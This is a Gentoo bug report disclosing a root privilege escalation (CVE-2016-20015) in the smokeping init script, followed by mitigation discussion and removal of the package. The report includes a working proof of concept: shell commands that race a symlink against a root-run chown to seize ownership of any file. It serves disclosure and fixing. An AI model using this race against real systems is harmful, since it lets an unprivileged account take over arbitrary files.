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Bug 602652 (CVE-2016-20015) - net-analyzer/smokeping: root privilege escalation via race condition in init script
Summary: net-analyzer/smokeping: root privilege escalation via race condition in init ...
Alias: CVE-2016-20015
Product: Gentoo Security
Classification: Unclassified
Component: Vulnerabilities (show other bugs)
Hardware: All Linux
: Normal major (vote)
Assignee: Gentoo Security
Whiteboard: B1 [glsa]
Keywords: PullRequest
Depends on:
Reported: 2016-12-14 15:47 UTC by Michael Orlitzky
Modified: 2022-09-20 17:39 UTC (History)
5 users (show)

See Also:
Package list:
Runtime testing required: ---


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Description Michael Orlitzky gentoo-dev 2016-12-14 15:47:14 UTC
The smokeping ebuilds give ownership of /var/lib/smokeping to the "smokeping" user:

  fowners smokeping:smokeping /var/lib/${PN}

The init script has a "restore" command that trusts the contents of that directory too much:

  for f in `find /var/lib/smokeping -name '*.xml' -print` ; do
      f_rrd=`dirname $f`/`basename $f .xml`.rrd
      mv -f "${f_rrd}" "${f_rrd}.bak"
      chown root:0 "${f_rrd}.bak"
      rrdtool restore "$f" "${f_rrd}"
      chown smokeping:smokeping "${f_rrd}"

The last "chown" can be used to gain root privileges, because $f_rrd can be changed to a symlink between the "mv" and "chown" calls.

I was actually able to exploit this. First, create some files (as the smokeping user) so that the "find" command above has something to play with:

  $ ln -sf /home/mjo/foo.txt /var/lib/smokeping/test.rrd
  $ touch /var/lib/smokeping/test.xml

Now the "restore" action will rename test.rrd, attempt to restore a dump, and then call chown on test.rrd, which it expects contains the restored data. But you can trick it: as the smokeping user, execute,

  while true; do ln -sf /home/mjo/foo.txt /var/lib/smokeping/test.rrd; done;

If you're lucky, one of those links will get created between the "mv" and the "chown", and the init script will change ownership of the symlink target to smokeping:smokeping. (On my machine, it changes /home/mjo/foo.txt to smokeping:smokeping.)

Thus the smokeping user can take ownership of any file on the system.
Comment 1 Thomas Deutschmann gentoo-dev 2017-01-08 23:26:13 UTC
@ Maintainers(s): Please tell us how you want to proceed here. Should security take action or will you look into this?
Comment 2 Thomas Deutschmann gentoo-dev 2019-12-26 15:28:35 UTC
This is now public.

Please take action (if you cannot fix but still care about package, drop restore function from runscript at least) or let treecleaners last rite.
Comment 3 nic 2021-09-19 20:20:34 UTC
If I'm not mistaken, passing "--no-dereference" to chown should mitigate this finding.

Thank you
Comment 4 Michael Orlitzky gentoo-dev 2021-09-28 14:13:32 UTC
(In reply to nic from comment #3)
> Hello-
> If I'm not mistaken, passing "--no-dereference" to chown should mitigate
> this finding.

The same trick works with hard links, and --no-dereference doesn't help with that. I think the "restore" process really just needs to run as smokeping:smokeping and not as root. (I am assuming that the "chown root:0" line does nothing important.)
Comment 5 nic 2022-03-04 03:14:13 UTC
Appreciate your insights.
From a user perspective, I'd support removal this function if a solution is not forthcoming. I suspect not many folks have a need to run this often, as I've only needed to do so when migrating rrd between arches.

Maybe consider adding doco as einfo statements or into the wiki?
"sudo -u smokeping rrdtool restore foo.xml foo.rrd" 

Thank you
Comment 6 John Helmert III archtester Gentoo Infrastructure gentoo-dev Security 2022-09-18 21:33:33 UTC
commit 2310b0cd4914c79b2e8f3cb424259bb6e635a195
Author:     John Helmert III <>
AuthorDate: 2022-09-18 21:16:58 +0000
Commit:     John Helmert III <>
CommitDate: 2022-09-18 21:16:58 +0000

    net-analyzer/smokeping: treeclean
    Signed-off-by: John Helmert III <>

 net-analyzer/smokeping/Manifest                  |   1 -
 net-analyzer/smokeping/files/79_smokeping.conf   |  15 ---
 net-analyzer/smokeping/files/smokeping.conf      |   1 -
 net-analyzer/smokeping/files/smokeping.init.5    |  56 ---------
 net-analyzer/smokeping/files/smokeping.service   |  10 --
 net-analyzer/smokeping/metadata.xml              |  12 --
 net-analyzer/smokeping/smokeping-2.7.3-r1.ebuild | 143 -----------------------
 profiles/package.mask                            |   5 -
 8 files changed, 243 deletions(-)
Comment 7 John Helmert III archtester Gentoo Infrastructure gentoo-dev Security 2022-09-19 18:06:04 UTC
GLSA request filed, CVE pending